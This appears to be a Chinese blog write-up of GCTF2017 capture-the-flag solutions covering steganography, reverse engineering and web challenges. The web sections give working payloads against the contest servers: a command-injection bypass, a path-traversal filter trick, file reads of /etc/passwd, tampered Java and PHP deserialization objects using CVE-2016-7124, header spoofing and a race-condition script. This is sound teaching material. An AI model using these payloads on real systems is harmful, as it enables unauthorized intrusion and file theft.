• GCTF2017部分write up


    Misc

    • stage1

    拿到题看到是一张图片隐写

    clip_image002

    用神器Stegsolve看看发现左上角藏着一张二维码

    clip_image004

    截下来,不能直接扫,需要反色处理一下

    clip_image006

    扫出来是一串十六进制

    clip_image008

    看头几个十六进制数发现是pyc文件

    用十六进制编辑器生成pyc文件,再反编译一下即可

    clip_image010

    clip_image012

    最终得到flag

    clip_image013


    • test.pyc

    看到是pyc文件第一件事情就是反编译,用uncompyle2反编译可得到部分代码:

    clip_image015

    clip_image019

    从上面的代码可以看到有一部分base64编码,在经过尝试后可以发现这个是一段base64代

    码的倒叙排列,把它们拼在一起然后反转:

    clip_image021

    然后解码:

    clip_image023

    从中间的两个符号“|”与“~”,“|”后面又有4个字母,可以判断这个是

    一个倒叙的凯撒加密字符串,反转过来得

    clip_image024

    字母“g”与字母 “f”之间相差1,写个脚本,各项减1即可得到flag。

    clip_image026clip_image027


    • reverseme

    开始用IDA打开什么都没有发现,后来用010 Editor打开看了看,发

    现字符都是反的(像Photoshop变成了pohsotohP):

    clip_image029

    写个脚本全部颠倒过来:

    clip_image030

    输出直接显示是一张图片:

    clip_image032

    可以发现是颠倒的,用软件水平反转一下就可以了:

    clip_image034


    Web
    • 热身题

    一进去就让扫端口…

    clip_image035

    先不管它...扫一下目录,发现有robots.txt

    clip_image036

    东西还不少,挑几个看起来像是会藏flag的,一个个进去试,最终在rob0t.php中拿到Flag

    clip_image037

    还好手速够快,抢了二血,可惜没抢到一血。


    • Forbidden

    Burpsuite抓包发现问题

    clip_image039

    首先,这个服务器是Nginx服务器,而Forbidden的却是Apache服务器,可以断定这是伪造的403。向下翻可以看见Hint

    clip_image040

    本地访问限制来源IP想到XFF,于是加上XFF头“X-Forwarded-For: localhost”

    clip_image041

    又看到回显中提到了一个“Apache/2.4 (CentOS) DAV/2 Server at www.topsec.com Port 80”

    根据提示,在请求头中把Host改成域名访问,即“Host: www.topsec.com”

    clip_image042

    更改Referer:为“Referer: www.baidu.com”

    clip_image043

    请求头中添加“X-Requested-With: XMLHttpRequest”

    clip_image044

    更改User-Agent为“User-Agent: Mozilla/5.0 (compatible:MSIE 4.0)”

    clip_image045

    继续更改User-Agent为“User-Agent: Mozilla/5.0 (compatible:MSIE 4.0;.NET CLR 8.0 )”

    clip_image046

    限制国外用户访问,可以更改语言

    更改Accept-Language为“Accept-Language: de-DE

    clip_image047

    向上翻,可以看到服务器发送过来一个cookie

    clip_image048

    这个cookie十六进制解码发现是Base64字符串,在解码又是十六进制,再次解码发现是

    clip_image049

    于是将false改为true,再反着编码回去,最终将cookie设置为

    “Cookie:login=4e7a51334d6a63314e6a553d”

    最终得到flag

    clip_image050

    完整Payload如下:

    clip_image051


    • 变态验证码怎么破

    我也想知道怎么破! 我也很绝望啊!

    总之这道题一开始的想法是图像识别验证码 然后爆破字典

    clip_image052

    于是

    clip_image054

    然后这道题就被我放置了。

    之后回来再看觉得一道web题这么搞是不是画风不太对

    就抓包开始改参数

    发现当PHPSESSION和 vcode 清空时 验证码这里就被绕过了

    clip_image056

    之后的事情就很简单了

    burpsuite爆破

     clip_image058

    返回长度不一样的就是正确的

    拿到flag

    GCTF{Qb8HR4pGmScMqgxTSwP7QZmb}


    • Java序列化

    clip_image059

    首先随便输点什么看看流程

    clip_image061

    发现有个302跳转,跳转地址后面还跟了base64编码过的参数,根据题目名称和参数名猜测可能是经过base64编码后的Java序列化串

    先把这个参数解码,发现是十六进制字节码,后面能看到刚才post的参数。

    clip_image063

    记下来,继续跟进

    clip_image064

    于是看到登录条件:name == admin 和 id == 1

    重新来一遍流程,把输入改成admin,结果还是一样,id参数并不知道在哪里输入,猜测可能在那串base64编码过后的Java序列化串中

    学习一波Java序列化的格式

    具体参考:

    https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html#a10258

    根据格式,确定出id参数值的位置

    clip_image066

    按照登录条件,将其更改为“00 00 00 01”

    clip_image068

    再进行base64编码,放入302跳转地址的参数中,得到flag

    clip_image069

    最终跳转参数中未编码的Payload如下:

    xacxedx00x05srx00x0fcom.ctf.cn.Userx00x00x00x00x03xf9/xbdx02x00x02Lx00x02idtx00x13Ljava/lang/Integer;Lx00x04nametx00x12Ljava/lang/String;xpsrx00x11java.lang.Integerx12xe2xa0xa4xf7x81x878x02x00x01Ix00x05valuexrx00x10java.lang.Numberx86xacx95x1dx0bx94xe0x8bx02x00x00xpx00x00x00x01tx00x05admin

    编码后:

    /ctfobj/Login?object=rO0ABXNyAA9jb20uY3RmLmNuLlVzZXIAAAAAA/kvvQIAAkwAAmlkdAATTGphdmEvbGFuZy9JbnRlZ2VyO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABdAAFYWRtaW4=


    • RCE绕过

    点击test抓包发现

    clip_image071

    它将cmd参数中的值直接拼接在curl和flag.php之间

    还过滤掉了一些字符(! @ # % ` & ( )> ? 空格 { } 等等)

    发现$号没被过滤掉

    于是一开始打算利用$IFS隔开curl与flag.php

    clip_image072

    然而没什么用

    然后想到了换行符的url编码%0a,然后配合没被过滤掉的””执行curl命令

    clip_image073

    然而还是没什么用

    接着查找资料,偶然在一篇文章中发现

    在shell脚本中换行符分隔的两个命令相当于两条独立的命令

    clip_image074

    所以完全可以不用管curl命令,重新起一行cat flag.php

    虽然$IFS是不能用的,但是可以用制表符的url编码%09代替,于是%0a配合%09,拿到flag

    clip_image075

    最终的Payload如下:

    http://218.2.197.232:18006/?cmd=%0acat%09

    (队友吐槽这题的flag挺丑的...不过确实挺丑...像是滚键盘随便滚出来的)


    • 读文件

    抓包发现一个类似文件包含的地址

    clip_image076

    发现确实是文件包含

    clip_image078

    但是手动找一下1.txt

    clip_image080

    并不再当前目录,在其他目录找了也没有,于是这个参数默认给的“./”就很可疑了

    题目说要读flag文件,就先确定一下这个flag文件在哪,发现也在/a/目录下,试着用文件包含的参数读一下

    clip_image081

    看来过滤了关键词flag

    以为是要编码绕过flag关键词,于是各种编码尝试,unicode同形字一个个试,结果都不行...

    后来尝试读取/etc/passwd发现也过滤了etc关键词

    尝试了很多读其他文件的方法都没有成功,所以只能从当前目录读取flag,php

    但是偶然发现

    clip_image082

    这样也是可以读取1.txt的

    于是猜想可能是过滤掉了“./”

    继续尝试

    clip_image083

    果然这样也是可以正常读取1.txt的

    于是就可以在flag字符串中加入“./”来绕过过滤

    但是在前面已经发现1.txt和flag.php不再同一目录下,所以开点脑洞,猜想flag.php可能在1.txt的上一级目录中。

    因为过滤了“./”,所以可以构造“...//”,当过滤掉中间的“./”后就变成了“../”

    于是构造Payload,最终获取flag

    clip_image084

    最终Payload如下

    218.2.197.232:18008/a/down.php?p=...//fl./ag.php


    • 条件竞争

    自带源码,简单分析一下。

    改密码的过程是先删掉帐号重新添加再添加成非管理员

    瞎写一个脚本

    #!/usr/bin/python  
    #coding=utf-8  
      
    import threading  
    import requests  
    import re  
      
    login_url = 'http://218.2.197.242:18009/login.php?method=login'  
      
    reset_url = 'http://218.2.197.242:18009/index.php?method=reset'  
      
    s = requests.Session()  
      
    r = s.get( 'http://218.2.197.242:18009/' )  
    #print r.text  
      
    res = r.text  
    p1 = r"value="(.*?)""  
    pattern = re.compile( p1 )  
    matcher = re.search( pattern , res )  
    ss = matcher.group()  
    usr = ss[7:23]  
    #print ss[6:24]  
      
      
    login_data = { 'name' : usr , 'password' : usr }  
    reset_data = { 'name' : usr , 'password' : usr }  
      
      
    def reset():  
        r = s.post (url = reset_url , data = reset_data )  
        print r.text  
      
    def login():  
        r = s.post( url = login_url , data = login_data )  
        print r.text  
        print r.headers  
      
      
    for i in range(10):  
        threading.Thread( target = reset ).start()  
        threading.Thread( target = login ).start()  
        threading.Thread( target = login ).start()  
        threading.Thread( target = login ).start()  

    由于是瞎写的 成功率真的很低

    clip_image085

    GCTF{KBnLGG6qR2ZdYe4HbUL8XpAP}


    • spring-css _web

    看这道题的时候我是懵逼的

    用户名密码都能输入,登录点不了,是个阉割版。

    CSS看了一遍又一遍没什么卵用。

    搜索来搜索去也没有什么有用的信息。

    走投无路打开github 一搜

    clip_image086

    clip_image087

    一模一样(正色)

    http://218.2.197.232:18015/spring-css/resources/file:/etc/passwd

    clip_image088

    payload : http://218.2.197.232:18015/spring-css/resources/file:/etc/flag

    得到flag

    GCTF{db839442402f5874}


    • PHP序列化

    先查看源码

    clip_image090

    看见还有个“query.php”,访问看一看

    clip_image092

    发现“Look me: edit by vim ~0~”

    query.php~源码泄露

    但只是部分源码

    /************************/
    /*
    //query.php 部分代码
    session_start();
    header('Look me: edit by vim ~0~')
    //......
    class TOPA{
              public $token;
              public $ticket;
              public $username;
              public $password;
              function login(){
                        //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
                        $this->username      =='aaaaaaaaaaaaaaaaa'&& $this->password == 'bbbbbbbbbbbbbbbbbb'){
                                   return 'key is:{'.$this->token.'}';
                        }
              }
    }
    class TOPB{
              public $obj;
              public $attr;
              function __construct(){
                        $this->attr = null;
                        $this->obj = null;
              }
              function __toString(){
                        $this->obj = unserialize($this->attr);
                        $this->obj->token = $FLAG;
                        if($this->obj->token === $this->obj->ticket){
                           return (string)$this->obj;
                        }
              }
    }
    class TOPC{
              public $obj;
              public $attr;
              function __wakeup(){
                        $this->attr = null;
                        $this->obj = null;
              }
              function __destruct(){
                        echo $this->attr;
              }
    }
    */

    结合题目,又在index.php中看见了“ini_set('session.serialize_handler', 'php_serialize');”

    所以这是一道session序列化的题目

    具体知识可参考

    http://www.tuicool.com/articles/zEfuEz

    PHP中内置了三种处理器用于对Session数据存储时的序列化及反序列化操作

    处理器

    对应的存储格式

    php

    键名 + 竖线 + 经过 serialize() 函数反序列处理的值

    php_binary

    键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值

    php_serialize(php>=5.5.4)

    经过 serialize() 函数反序列处理的数组

    在php.ini中又有如下配置

    session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php。

    原理:

    正是由于有三种不同的处理器,他们的存储格式也不同,当PHP反序列化已经存储的Session数据时所使用的处理器与当时在序列化Session数据时使用的处理器不是同一种处理器的话,就会导致格式不同,无法正确反序列化,甚至可以通过构造伪造任意数据。

    思路:

    在index.php中,设置了ini_set('session.serialize_handler', 'php_serialize');

    则在index.php中使用php_serialize处理器对Session数据进行存储

    而在query.php中使用了默认的处理器(php)对Session数据进行读取

    这样就导致了注入,可在index.php中的src参数构造特殊的序列化串存储,然后在同一个Session下访问query.php,对刚才的存储的Session数据进行读取,从而实例化出一个TOPA对象调用login()函数得到flag

    进行反序列化首先就要找到__weakup( )函数,在TOPC中。

    而TOPC中的__destruct( )函数又会将TOPC的$attr打印出来。

    然后再看TOPB中刚好有__toString( )函数,在此函数中首先将TOPB的$attr反序列化,放入TOPB的$obj中,再把flag放在TOPB的$obj中的$token中,然后判断TOPB的$obj中的$token是否和$ticket相等。

    再向上看TOPA中刚好有$token和$ticket,而TOPA中的login( )又可打印flag。

    因此可以根据这些逻辑构造出payload:

    clip_image094

    TOPA中$this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'是两个弱类型比较,所以username和password为0即可。而ticket引用token即可通过TOPB中的$this->obj->token === $this->obj->ticket

    再看TOPC中的__weakup( )直接将$obj和$attr置空,这里就需要用到CVE-2016-7124使__weakup( )函数失效

    clip_image096

    …“TOPC”:num:{ … 只要这里的num大于2即可

    则将payload改为

    clip_image098

    首先访问

    http://218.2.197.232:18017/index.php?src=|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}

    再直接访问

    http://218.2.197.232:18017/query.php

    即可拿到flag

    clip_image099

    Payload如下:

    |O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}


    Reverse
    • Hackme

    IDA打开后主要函数是sub_400F8E,附图

    clip_image100

    用 arr 的每一项与 v9 异或即为flag, 脚本如下

    #!usr/bin/env python
     
    byte = [0x5f,0xf2,0x5e,0x8b,0x4e,0x0e,0xa3,0xaa,0xc7,0x93,0x81,0x3d,0x5f,0x74,0xa3,0x9,0x91,0x2b,0x49,0x28,0x93,0x67]
     
    flag = ""
     
    for i in range(0,22):
        v9 = 0
        for v8 in range(0,i+1):
                  v9 = v9 * 1828812941 + 12345
        flag += chr((v9^byte[i])&0xff)
        print flag


    • debug.exe

    .NET 逆向, 用ILSpy打开后, 核心代码如下

    internal class MM
    {
              private static int C(int A_0, int A_1)
              {
                        return (new int[]
                        {
                                   2,
                                   3,
                                   5,
                                   7,
                                   11,
                                   13,
                                   17,
                                   19,
                                   23,
                                   29,
                                   31,
                                   37,
                                   41,
                                   43,
                                   47,
                                   53,
                                   59,
                                   61,
                                   67,
                                   71,
                                   73,
                                   79,
                                   83,
                                   89,
                                   97,
                                   101,
                                   103,
                                   107,
                                   109,
                                   113
                        })[A_1] ^ A_0;
              }
              private static string flag(string A_0)
              {
                        byte[] bytes = Encoding.ASCII.GetBytes(A_0);
                        return "flag{" + BitConverter.ToString(new MD5CryptoServiceProvider().ComputeHash(bytes)).Replace("-", "") + "}";
              }
              private static void count(string A_0, int A_1, ref string A_2)
              {
                        int num = 0;
                        if (0 < A_0.Length)
                        {
                                   do
                                   {
                                             char c = A_0[num];
                                             int num2 = 1;
                                             do
                                             {
                                                       c = Convert.ToChar(MM.C(Convert.ToInt32(c), num2));
                                                       num2++;
                                             }
                                             while (num2 < 15);
                                             A_2 += c;
                                             num++;
                                   }
                                  while (num < A_0.Length);
                        }
                        A_2 = MM.flag(A_2);
              }
              private static void main(string[] A_0)
              {
                        string b = null;
                        string value = string.Format("{0}", DateTime.Now.Hour + 1);
                        string a_ = "CreateByTenshine";
                        MM.count(a_, Convert.ToInt32(value), ref b);
                        string a = Console.ReadLine();
                        if (a == b)
                        {
                                   Console.WriteLine("u got it!");
                                   Console.ReadKey(true);
                        }
                        else
                        {
                                   Console.Write("wrong");
                        }
                        Console.ReadKey(true);
              }
    }

    c#脚本

    using System;
    using System.Security.Cryptography;
    using System.Text;
     
    namespace ConsoleApplication1
    {
        class Program
        {
            static void Main(string[] args)
            {
                string a = "[j}yl}ZaL}vkpqv}";
                byte[] bytes = Encoding.ASCII.GetBytes(a);
                string b = "flag{" + BitConverter.ToString(new MD5CryptoServiceProvider().ComputeHash(bytes)).Replace("-", "") + "}";
                Console.WriteLine(b);
                Console.ReadLine();
            }
        }
    }


    Mobile
    • APK逆向

    jeb 反编译后 , 主要为checkSN函数

    clip_image101

    java脚本

    import java.security.MessageDigest;
     
    public class pp{
        public static String toHexString(byte[] arg8, String arg9) {
                StringBuilder v3 = new StringBuilder();
                byte[] v0 = arg8;
                int v5 = v0.length;
                int v4;
                for(v4 = 0; v4 < v5; ++v4) {
                     String v2 = Integer.toHexString(v0[v4] & 255);
                     if(v2.length() == 1) {
                         v3.append('0');
                     }
     
                     v3.append(v2).append(arg9);
                }
            return v3.toString();
        }
        public static void flag(){
              String arg11 = "Tenshine";
              try{
                      MessageDigest v1 = MessageDigest.getInstance("MD5");
                      v1.reset();
                      v1.update(arg11.getBytes());
                      String v3 = toHexString(v1.digest(), "");
                      StringBuilder v5 = new StringBuilder();
                      int v4;
                      for(v4 = 0; v4 < v3.length(); v4 += 2) {
                           v5.append(v3.charAt(v4));
                      }
                      System.out.println("flag{");
                      System.out.println(v5.toString());
                      System.out.println("}");
            }
            catch(Exception e){
              System.out.println("Wrong!");
            }
        }
        public static void main(String[] agre){
                        flag();   
        }
    }
    Srpopty、yomumax、catling、jx74224@Blue-Whale-Fresh16
  • 相关阅读:
    Python的优点和缺点
    如何在sed中使用变量方法及其简单
    shell脚本练习,创建数据文件注册用户并将用户信息存入文件内,用于模拟登录时使用
    shell脚本常用参数与格式
    运维方向和运维需要掌握的基本面
    linux系统awk命令精解
    数组去重方式
    原生js封装cookie获取、设置及删除
    sublime 浏览器快捷键设置
    background-image实现border效果及多图png如何实现background-size为原图一半
  • 原文地址:https://www.cnblogs.com/srpopty/p/7040972.html
Copyright © 2020-2023  润新知